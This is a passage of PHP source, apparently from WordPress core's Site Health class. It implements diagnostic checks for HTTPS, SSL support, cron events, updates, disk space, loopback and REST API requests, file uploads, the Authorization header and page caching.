		$default_update_url = wp_get_default_update_https_url();

		$result = array(
			'label'       => __( 'Your website is using an active HTTPS connection' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'An HTTPS connection is a more secure way of browsing the web. Many services now have HTTPS as a requirement. HTTPS allows you to take advantage of new features that can increase site speed, improve search rankings, and gain the trust of your visitors by helping to protect their online privacy.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				esc_url( $default_update_url ),
				__( 'Learn more about why you should use HTTPS' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
			'test'        => 'https_status',
		);

		if ( ! wp_is_using_https() ) {
			/*
			 * If the website is not using HTTPS, provide more information
			 * about whether it is supported and how it can be enabled.
			 */
			$result['status'] = 'recommended';
			$result['label']  = __( 'Your website does not use HTTPS' );

			if ( wp_is_site_url_using_https() ) {
				if ( is_ssl() ) {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: %s: URL to Settings > General > Site Address. */
							__( 'You are accessing this website using HTTPS, but your <a href="%s">Site Address</a> is not set up to use HTTPS by default.' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				} else {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: %s: URL to Settings > General > Site Address. */
							__( 'Your <a href="%s">Site Address</a> is not set up to use HTTPS.' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				}
			} else {
				if ( is_ssl() ) {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: 1: URL to Settings > General > WordPress Address, 2: URL to Settings > General > Site Address. */
							__( 'You are accessing this website using HTTPS, but your <a href="%1$s">WordPress Address</a> and <a href="%2$s">Site Address</a> are not set up to use HTTPS by default.' ),
							esc_url( admin_url( 'options-general.php' ) . '#siteurl' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				} else {
					$result['description'] = sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: 1: URL to Settings > General > WordPress Address, 2: URL to Settings > General > Site Address. */
							__( 'Your <a href="%1$s">WordPress Address</a> and <a href="%2$s">Site Address</a> are not set up to use HTTPS.' ),
							esc_url( admin_url( 'options-general.php' ) . '#siteurl' ),
							esc_url( admin_url( 'options-general.php' ) . '#home' )
						)
					);
				}
			}

			if ( wp_is_https_supported() ) {
				$result['description'] .= sprintf(
					'<p>%s</p>',
					__( 'HTTPS is already supported for your website.' )
				);

				if ( defined( 'WP_HOME' ) || defined( 'WP_SITEURL' ) ) {
					$result['description'] .= sprintf(
						'<p>%s</p>',
						sprintf(
							/* translators: 1: wp-config.php, 2: WP_HOME, 3: WP_SITEURL */
							__( 'However, your WordPress Address is currently controlled by a PHP constant and therefore cannot be updated. You need to edit your %1$s and remove or update the definitions of %2$s and %3$s.' ),
							'<code>wp-config.php</code>',
							'<code>WP_HOME</code>',
							'<code>WP_SITEURL</code>'
						)
					);
				} elseif ( current_user_can( 'update_https' ) ) {
					$default_direct_update_url = add_query_arg( 'action', 'update_https', wp_nonce_url( admin_url( 'site-health.php' ), 'wp_update_https' ) );
					$direct_update_url         = wp_get_direct_update_https_url();

					if ( ! empty( $direct_update_url ) ) {
						$result['actions'] = sprintf(
							'<p class="button-container"><a class="button button-primary" href="%1$s" target="_blank" rel="noopener">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
							esc_url( $direct_update_url ),
							__( 'Update your site to use HTTPS' ),
							/* translators: Hidden accessibility text. */
							__( '(opens in a new tab)' )
						);
					} else {
						$result['actions'] = sprintf(
							'<p class="button-container"><a class="button button-primary" href="%1$s">%2$s</a></p>',
							esc_url( $default_direct_update_url ),
							__( 'Update your site to use HTTPS' )
						);
					}
				}
			} else {
				// If host-specific "Update HTTPS" URL is provided, include a link.
				$update_url = wp_get_update_https_url();
				if ( $update_url !== $default_update_url ) {
					$result['description'] .= sprintf(
						'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
						esc_url( $update_url ),
						__( 'Talk to your web host about supporting HTTPS for your website.' ),
						/* translators: Hidden accessibility text. */
						__( '(opens in a new tab)' )
					);
				} else {
					$result['description'] .= sprintf(
						'<p>%s</p>',
						__( 'Talk to your web host about supporting HTTPS for your website.' )
					);
				}
			}
		}

		return $result;
	}

	/**
	 * Checks if the HTTP API can handle SSL/TLS requests.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test result.
	 */
	public function get_test_ssl_support() {
		$result = array(
			'label'       => '',
			'status'      => '',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Securely communicating between servers are needed for transactions such as fetching files, conducting sales on store sites, and much more.' )
			),
			'actions'     => '',
			'test'        => 'ssl_support',
		);

		$supports_https = wp_http_supports( array( 'ssl' ) );

		if ( $supports_https ) {
			$result['status'] = 'good';

			$result['label'] = __( 'Your site can communicate securely with other services' );
		} else {
			$result['status'] = 'critical';

			$result['label'] = __( 'Your site is unable to communicate securely with other services' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				__( 'Talk to your web host about OpenSSL support for PHP.' )
			);
		}

		return $result;
	}

	/**
	 * Tests if scheduled events run as intended.
	 *
	 * If scheduled events are not running, this may indicate something with WP_Cron is not working
	 * as intended, or that there are orphaned events hanging around from older code.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_scheduled_events() {
		$result = array(
			'label'       => __( 'Scheduled events are running' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Scheduled events are what periodically looks for updates to plugins, themes and WordPress itself. It is also what makes sure scheduled posts are published on time. It may also be used by various plugins to make sure that planned actions are executed.' )
			),
			'actions'     => '',
			'test'        => 'scheduled_events',
		);

		$this->wp_schedule_test_init();

		if ( is_wp_error( $this->has_missed_cron() ) ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'It was not possible to check your scheduled events' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The error message returned while from the cron scheduler. */
					__( 'While trying to test your site&#8217;s scheduled events, the following error was returned: %s' ),
					$this->has_missed_cron()->get_error_message()
				)
			);
		} elseif ( $this->has_missed_cron() ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'A scheduled event has failed' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The name of the failed cron event. */
					__( 'The scheduled event, %s, failed to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended.' ),
					$this->last_missed_cron
				)
			);
		} elseif ( $this->has_late_cron() ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'A scheduled event is late' );

			$result['description'] = sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: The name of the late cron event. */
					__( 'The scheduled event, %s, is late to run. Your site still works, but this may indicate that scheduling posts or automated updates may not work as intended.' ),
					$this->last_late_cron
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if WordPress can run automated background updates.
	 *
	 * Background updates in WordPress are primarily used for minor releases and security updates.
	 * It's important to either have these working, or be aware that they are intentionally disabled
	 * for whatever reason.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_background_updates() {
		$result = array(
			'label'       => __( 'Background updates are working' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Background updates ensure that WordPress can auto-update if a security update is released for the version you are currently using.' )
			),
			'actions'     => '',
			'test'        => 'background_updates',
		);

		if ( ! class_exists( 'WP_Site_Health_Auto_Updates' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-health-auto-updates.php';
		}

		/*
		 * Run the auto-update tests in a separate class,
		 * as there are many considerations to be made.
		 */
		$automatic_updates = new WP_Site_Health_Auto_Updates();
		$tests             = $automatic_updates->run_tests();

		$output = '<ul>';

		foreach ( $tests as $test ) {
			/* translators: Hidden accessibility text. */
			$severity_string = __( 'Passed' );

			if ( 'fail' === $test->severity ) {
				$result['label'] = __( 'Background updates are not working as expected' );

				$result['status'] = 'critical';

				/* translators: Hidden accessibility text. */
				$severity_string = __( 'Error' );
			}

			if ( 'warning' === $test->severity && 'good' === $result['status'] ) {
				$result['label'] = __( 'Background updates may not be working properly' );

				$result['status'] = 'recommended';

				/* translators: Hidden accessibility text. */
				$severity_string = __( 'Warning' );
			}

			$output .= sprintf(
				'<li><span class="dashicons %s"><span class="screen-reader-text">%s</span></span> %s</li>',
				esc_attr( $test->severity ),
				$severity_string,
				$test->description
			);
		}

		$output .= '</ul>';

		if ( 'good' !== $result['status'] ) {
			$result['description'] .= $output;
		}

		return $result;
	}

	/**
	 * Tests if plugin and theme auto-updates appear to be configured correctly.
	 *
	 * @since 5.5.0
	 *
	 * @return array The test results.
	 */
	public function get_test_plugin_theme_auto_updates() {
		$result = array(
			'label'       => __( 'Plugin and theme auto-updates appear to be configured correctly' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Plugin and theme auto-updates ensure that the latest versions are always installed.' )
			),
			'actions'     => '',
			'test'        => 'plugin_theme_auto_updates',
		);

		$check_plugin_theme_updates = $this->detect_plugin_theme_auto_update_issues();

		$result['status'] = $check_plugin_theme_updates->status;

		if ( 'good' !== $result['status'] ) {
			$result['label'] = __( 'Your site may have problems auto-updating plugins and themes' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				$check_plugin_theme_updates->message
			);
		}

		return $result;
	}

	/**
	 * Tests available disk space for updates.
	 *
	 * @since 6.3.0
	 *
	 * @return array The test results.
	 */
	public function get_test_available_updates_disk_space() {
		$available_space = function_exists( 'disk_free_space' ) ? @disk_free_space( WP_CONTENT_DIR . '/upgrade/' ) : false;

		$result = array(
			'label'       => __( 'Disk space available to safely perform updates' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				/* translators: %s: Available disk space in MB or GB. */
				'<p>' . __( '%s available disk space was detected, update routines can be performed safely.' ) . '</p>',
				size_format( $available_space )
			),
			'actions'     => '',
			'test'        => 'available_updates_disk_space',
		);

		if ( false === $available_space ) {
			$result['description'] = __( 'Could not determine available disk space for updates.' );
			$result['status']      = 'recommended';
		} elseif ( $available_space < 20 * MB_IN_BYTES ) {
			$result['description'] = __( 'Available disk space is critically low, less than 20 MB available. Proceed with caution, updates may fail.' );
			$result['status']      = 'critical';
		} elseif ( $available_space < 100 * MB_IN_BYTES ) {
			$result['description'] = __( 'Available disk space is low, less than 100 MB available.' );
			$result['status']      = 'recommended';
		}

		return $result;
	}

	/**
	 * Tests if plugin and theme temporary backup directories are writable or can be created.
	 *
	 * @since 6.3.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @return array The test results.
	 */
	public function get_test_update_temp_backup_writable() {
		global $wp_filesystem;

		$result = array(
			'label'       => __( 'Plugin and theme temporary backup directory is writable' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup */
				'<p>' . __( 'The %s directory used to improve the stability of plugin and theme updates is writable.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup</code>'
			),
			'actions'     => '',
			'test'        => 'update_temp_backup_writable',
		);

		if ( ! function_exists( 'WP_Filesystem' ) ) {
			require_once ABSPATH . '/wp-admin/includes/file.php';
		}

		ob_start();
		$credentials = request_filesystem_credentials( '' );
		ob_end_clean();

		if ( false === $credentials || ! WP_Filesystem( $credentials ) ) {
			$result['status']      = 'recommended';
			$result['label']       = __( 'Could not access filesystem' );
			$result['description'] = __( 'Unable to connect to the filesystem. Please confirm your credentials.' );
			return $result;
		}

		$wp_content = $wp_filesystem->wp_content_dir();

		if ( ! $wp_content ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Unable to locate WordPress content directory' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content */
				'<p>' . __( 'The %s directory cannot be located.' ) . '</p>',
				'<code>wp-content</code>'
			);
			return $result;
		}

		$upgrade_dir_exists      = $wp_filesystem->is_dir( "$wp_content/upgrade" );
		$upgrade_dir_is_writable = $wp_filesystem->is_writable( "$wp_content/upgrade" );
		$backup_dir_exists       = $wp_filesystem->is_dir( "$wp_content/upgrade-temp-backup" );
		$backup_dir_is_writable  = $wp_filesystem->is_writable( "$wp_content/upgrade-temp-backup" );

		$plugins_dir_exists      = $wp_filesystem->is_dir( "$wp_content/upgrade-temp-backup/plugins" );
		$plugins_dir_is_writable = $wp_filesystem->is_writable( "$wp_content/upgrade-temp-backup/plugins" );
		$themes_dir_exists       = $wp_filesystem->is_dir( "$wp_content/upgrade-temp-backup/themes" );
		$themes_dir_is_writable  = $wp_filesystem->is_writable( "$wp_content/upgrade-temp-backup/themes" );

		if ( $plugins_dir_exists && ! $plugins_dir_is_writable && $themes_dir_exists && ! $themes_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Plugin and theme temporary backup directories exist but are not writable' );
			$result['description'] = sprintf(
				/* translators: 1: wp-content/upgrade-temp-backup/plugins, 2: wp-content/upgrade-temp-backup/themes. */
				'<p>' . __( 'The %1$s and %2$s directories exist but are not writable. These directories are used to improve the stability of plugin updates. Please make sure the server has write permissions to these directories.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup/plugins</code>',
				'<code>wp-content/upgrade-temp-backup/themes</code>'
			);
			return $result;
		}

		if ( $plugins_dir_exists && ! $plugins_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Plugin temporary backup directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup/plugins */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of plugin updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup/plugins</code>'
			);
			return $result;
		}

		if ( $themes_dir_exists && ! $themes_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'Theme temporary backup directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup/themes */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of theme updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup/themes</code>'
			);
			return $result;
		}

		if ( ( ! $plugins_dir_exists || ! $themes_dir_exists ) && $backup_dir_exists && ! $backup_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'The temporary backup directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade-temp-backup */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used to improve the stability of plugin and theme updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade-temp-backup</code>'
			);
			return $result;
		}

		if ( ! $backup_dir_exists && $upgrade_dir_exists && ! $upgrade_dir_is_writable ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'The upgrade directory exists but is not writable' );
			$result['description'] = sprintf(
				/* translators: %s: wp-content/upgrade */
				'<p>' . __( 'The %s directory exists but is not writable. This directory is used for plugin and theme updates. Please make sure the server has write permissions to this directory.' ) . '</p>',
				'<code>wp-content/upgrade</code>'
			);
			return $result;
		}

		if ( ! $upgrade_dir_exists && ! $wp_filesystem->is_writable( $wp_content ) ) {
			$result['status']      = 'critical';
			$result['label']       = __( 'The upgrade directory cannot be created' );
			$result['description'] = sprintf(
				/* translators: 1: wp-content/upgrade, 2: wp-content. */
				'<p>' . __( 'The %1$s directory does not exist, and the server does not have write permissions in %2$s to create it. This directory is used for plugin and theme updates. Please make sure the server has write permissions in %2$s.' ) . '</p>',
				'<code>wp-content/upgrade</code>',
				'<code>wp-content</code>'
			);
			return $result;
		}

		return $result;
	}

	/**
	 * Tests if loopbacks work as expected.
	 *
	 * A loopback is when WordPress queries itself, for example to start a new WP_Cron instance,
	 * or when editing a plugin or theme. This has shown itself to be a recurring issue,
	 * as code can very easily break this interaction.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_loopback_requests() {
		$result = array(
			'label'       => __( 'Your site can perform loopback requests' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Loopback requests are used to run scheduled events, and are also used by the built-in editors for themes and plugins to verify code stability.' )
			),
			'actions'     => '',
			'test'        => 'loopback_requests',
		);

		$check_loopback = $this->can_perform_loopback();

		$result['status'] = $check_loopback->status;

		if ( 'good' !== $result['status'] ) {
			$result['label'] = __( 'Your site could not complete a loopback request' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				$check_loopback->message
			);
		}

		return $result;
	}

	/**
	 * Tests if HTTP requests are blocked.
	 *
	 * It's possible to block all outgoing communication (with the possibility of allowing certain
	 * hosts) via the HTTP API. This may create problems for users as many features are running as
	 * services these days.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_http_requests() {
		$result = array(
			'label'       => __( 'HTTP requests seem to be working as expected' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'It is possible for site maintainers to block all, or some, communication to other sites and services. If set up incorrectly, this may prevent plugins and themes from working as intended.' )
			),
			'actions'     => '',
			'test'        => 'http_requests',
		);

		$blocked = false;
		$hosts   = array();

		if ( defined( 'WP_HTTP_BLOCK_EXTERNAL' ) && WP_HTTP_BLOCK_EXTERNAL ) {
			$blocked = true;
		}

		if ( defined( 'WP_ACCESSIBLE_HOSTS' ) ) {
			$hosts = explode( ',', WP_ACCESSIBLE_HOSTS );
		}

		if ( $blocked && 0 === count( $hosts ) ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'HTTP requests are blocked' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %s: Name of the constant used. */
					__( 'HTTP requests have been blocked by the %s constant, with no allowed hosts.' ),
					'<code>WP_HTTP_BLOCK_EXTERNAL</code>'
				)
			);
		}

		if ( $blocked && 0 < count( $hosts ) ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'HTTP requests are partially blocked' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: Name of the constant used. 2: List of allowed hostnames. */
					__( 'HTTP requests have been blocked by the %1$s constant, with some allowed hosts: %2$s.' ),
					'<code>WP_HTTP_BLOCK_EXTERNAL</code>',
					implode( ',', $hosts )
				)
			);
		}

		return $result;
	}

	/**
	 * Tests if the REST API is accessible.
	 *
	 * Various security measures may block the REST API from working, or it may have been disabled in general.
	 * This is required for the new block editor to work, so we explicitly test for this.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test results.
	 */
	public function get_test_rest_availability() {
		$result = array(
			'label'       => __( 'The REST API is available' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'The REST API is one way that WordPress and other applications communicate with the server. For example, the block editor screen relies on the REST API to display and save your posts and pages.' )
			),
			'actions'     => '',
			'test'        => 'rest_availability',
		);

		$cookies = wp_unslash( $_COOKIE );
		$timeout = 10; // 10 seconds.
		$headers = array(
			'Cache-Control' => 'no-cache',
			'X-WP-Nonce'    => wp_create_nonce( 'wp_rest' ),
		);
		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		$url = rest_url( 'wp/v2/types/post' );

		// The context for this is editing with the new block editor.
		$url = add_query_arg(
			array(
				'context' => 'edit',
			),
			$url
		);

		$r = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );

		if ( is_wp_error( $r ) ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'The REST API encountered an error' );

			$result['description'] .= sprintf(
				'<p>%s</p><p>%s<br>%s</p>',
				__( 'When testing the REST API, an error was encountered:' ),
				sprintf(
					// translators: %s: The REST API URL.
					__( 'REST API Endpoint: %s' ),
					$url
				),
				sprintf(
					// translators: 1: The WordPress error code. 2: The WordPress error message.
					__( 'REST API Response: (%1$s) %2$s' ),
					$r->get_error_code(),
					$r->get_error_message()
				)
			);
		} elseif ( 200 !== wp_remote_retrieve_response_code( $r ) ) {
			$result['status'] = 'recommended';

			$result['label'] = __( 'The REST API encountered an unexpected result' );

			$result['description'] .= sprintf(
				'<p>%s</p><p>%s<br>%s</p>',
				__( 'When testing the REST API, an unexpected result was returned:' ),
				sprintf(
					// translators: %s: The REST API URL.
					__( 'REST API Endpoint: %s' ),
					$url
				),
				sprintf(
					// translators: 1: The WordPress error code. 2: The HTTP status code error message.
					__( 'REST API Response: (%1$s) %2$s' ),
					wp_remote_retrieve_response_code( $r ),
					wp_remote_retrieve_response_message( $r )
				)
			);
		} else {
			$json = json_decode( wp_remote_retrieve_body( $r ), true );

			if ( false !== $json && ! isset( $json['capabilities'] ) ) {
				$result['status'] = 'recommended';

				$result['label'] = __( 'The REST API did not behave correctly' );

				$result['description'] .= sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: %s: The name of the query parameter being tested. */
						__( 'The REST API did not process the %s query parameter correctly.' ),
						'<code>context</code>'
					)
				);
			}
		}

		return $result;
	}

	/**
	 * Tests if 'file_uploads' directive in PHP.ini is turned off.
	 *
	 * @since 5.5.0
	 *
	 * @return array The test results.
	 */
	public function get_test_file_uploads() {
		$result = array(
			'label'       => __( 'Files can be uploaded' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: file_uploads, 2: php.ini */
					__( 'The %1$s directive in %2$s determines if uploading files is allowed on your site.' ),
					'<code>file_uploads</code>',
					'<code>php.ini</code>'
				)
			),
			'actions'     => '',
			'test'        => 'file_uploads',
		);

		if ( ! function_exists( 'ini_get' ) ) {
			$result['status']       = 'critical';
			$result['description'] .= sprintf(
				/* translators: %s: ini_get() */
				__( 'The %s function has been disabled, some media settings are unavailable because of this.' ),
				'<code>ini_get()</code>'
			);
			return $result;
		}

		if ( empty( ini_get( 'file_uploads' ) ) ) {
			$result['status']       = 'critical';
			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: 1: file_uploads, 2: 0 */
					__( '%1$s is set to %2$s. You won\'t be able to upload files on your site.' ),
					'<code>file_uploads</code>',
					'<code>0</code>'
				)
			);
			return $result;
		}

		$post_max_size       = ini_get( 'post_max_size' );
		$upload_max_filesize = ini_get( 'upload_max_filesize' );

		if ( wp_convert_hr_to_bytes( $post_max_size ) < wp_convert_hr_to_bytes( $upload_max_filesize ) ) {
			$result['label'] = sprintf(
				/* translators: 1: post_max_size, 2: upload_max_filesize */
				__( 'The "%1$s" value is smaller than "%2$s"' ),
				'post_max_size',
				'upload_max_filesize'
			);
			$result['status'] = 'recommended';

			if ( 0 === wp_convert_hr_to_bytes( $post_max_size ) ) {
				$result['description'] = sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: post_max_size, 2: upload_max_filesize */
						__( 'The setting for %1$s is currently configured as 0, this could cause some problems when trying to upload files through plugin or theme features that rely on various upload methods. It is recommended to configure this setting to a fixed value, ideally matching the value of %2$s, as some upload methods read the value 0 as either unlimited, or disabled.' ),
						'<code>post_max_size</code>',
						'<code>upload_max_filesize</code>'
					)
				);
			} else {
				$result['description'] = sprintf(
					'<p>%s</p>',
					sprintf(
						/* translators: 1: post_max_size, 2: upload_max_filesize */
						__( 'The setting for %1$s is smaller than %2$s, this could cause some problems when trying to upload files.' ),
						'<code>post_max_size</code>',
						'<code>upload_max_filesize</code>'
					)
				);
			}

			return $result;
		}

		return $result;
	}

	/**
	 * Tests if the Authorization header has the expected values.
	 *
	 * @since 5.6.0
	 *
	 * @return array
	 */
	public function get_test_authorization_header() {
		$result = array(
			'label'       => __( 'The Authorization header is working as expected' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'The Authorization header is used by third-party applications you have approved for this site. Without this header, those apps cannot connect to your site.' )
			),
			'actions'     => '',
			'test'        => 'authorization_header',
		);

		if ( ! isset( $_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'] ) ) {
			$result['label'] = __( 'The authorization header is missing' );
		} elseif ( 'user' !== $_SERVER['PHP_AUTH_USER'] || 'pwd' !== $_SERVER['PHP_AUTH_PW'] ) {
			$result['label'] = __( 'The authorization header is invalid' );
		} else {
			return $result;
		}

		$result['status']       = 'recommended';
		$result['description'] .= sprintf(
			'<p>%s</p>',
			__( 'If you are still seeing this warning after having tried the actions below, you may need to contact your hosting provider for further assistance.' )
		);

		if ( ! function_exists( 'got_mod_rewrite' ) ) {
			require_once ABSPATH . 'wp-admin/includes/misc.php';
		}

		if ( got_mod_rewrite() ) {
			$result['actions'] .= sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'options-permalink.php' ) ),
				__( 'Flush permalinks' )
			);
		} else {
			$result['actions'] .= sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				__( 'https://developer.wordpress.org/rest-api/frequently-asked-questions/#why-is-authentication-not-working' ),
				__( 'Learn how to configure the Authorization header.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			);
		}

		return $result;
	}

	/**
	 * Tests if a full page cache is available.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function get_test_page_cache() {
		$description  = '<p>' . __( 'Page cache enhances the speed and performance of your site by saving and serving static pages instead of calling for a page every time a user visits.' ) . '</p>';
		$description .= '<p>' . __( 'Page cache is detected by looking for an active page cache plugin as well as making three requests to the homepage and looking for one or more of the following HTTP client caching response headers:' ) . '</p>';
		$description .= '<code>' . implode( '</code>, <code>', array_keys( $this->get_page_cache_headers() ) ) . '.</code>';

		$result = array(
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => wp_kses_post( $description ),
			'test'        => 'page_cache',
			'status'      => 'good',
			'label'       => '',
			'actions'     => sprintf(
				'<p><a href="%1$s" target="_blank" rel="noopener noreferrer">%2$s<span class="screen-reader-text"> %3$s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				__( 'https://wordpress.org/documentation/article/optimization/#Caching' ),
				__( 'Learn more about page cache' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
		);

		$page_cache_detail = $this->get_page_cache_detail();

		if ( is_wp_error( $page_cache_detail ) ) {
			$result['label']  = __( 'Unable to detect the presence of page cache' );
			$result['status'] = 'recommended';
			$error_info       = sprintf(
			/* translators: 1: Error message, 2: Error code. */
				__( 'Unable to detect page cache due to possible loopback request problem. Please verify that the loopback request test is passing. Error: %1$s (Code: %2$s)' ),
				$page_cache_detail->get_error_message(),
				$page_cache_detail->get_error_code()
			);
			$result['description'] = wp_kses_post( "<p>$error_info</p>" ) . $result['description'];
			return $result;
		}

		$result['status'] = $page_cache_detail['status'];

		switch ( $page_cache_detail['status'] ) {
			case 'recommended':
				$result['label'] = __( 'Page cache is not detected but the server response time is OK' );
				break;
			case 'good':
				$result['label'] = __( 'Page cache is detected and the server response time is good' );
				break;
			default:
				if ( empty( $page_cache_detail['headers'] ) && ! $page_cache_detail['advanced_cache_present'] ) {
					$result['label'] = __( 'Page cache is not detected and the server response time is slow' );
				} else {
					$result['label'] = __( 'Page cache is detected but the server response time is still slow' );
				}
		}

		$page_cache_test_summary = array();

		if ( empty( $page_cache_detail['response_time'] ) ) {
			$page_cache_test_summary[] = '<span class="dashicons dashicons-dismiss"></span> ' . __( 'Server response time could not be determined. Verify that loopback requests are working.' );
		} else {

			$threshold = $this->get_good_response_time_threshold();
			if ( $page_cache_detail['response_time'] < $threshold ) {
				$page_cache_test_summary[] = '<span class="dashicons dashicons-yes-alt"></span> ' . sprintf(
					/* translators: 1: The response time in milliseconds, 2: The recommended threshold in milliseconds. */
					__( 'Median server response time was %1$s milliseconds. This is less than the recommended %2$s milliseconds threshold.' ),
					number_format_i18n( $page_cache_detail['response_time'] ),
					number_format_i18n( $threshold )
				);
			} else {
				$page_cache_test_summary[] = '<span class="dashicons dashicons-warning"></span> ' . sprintf(
					/* translators: 1: The response time in milliseconds, 2: The recommended threshold in milliseconds. */
					__( 'Median server response time was %1$s milliseconds. It should be less than the recommended %2$s milliseconds threshold.' ),
					number_format_i18n( $page_cache_detail['response_time'] ),
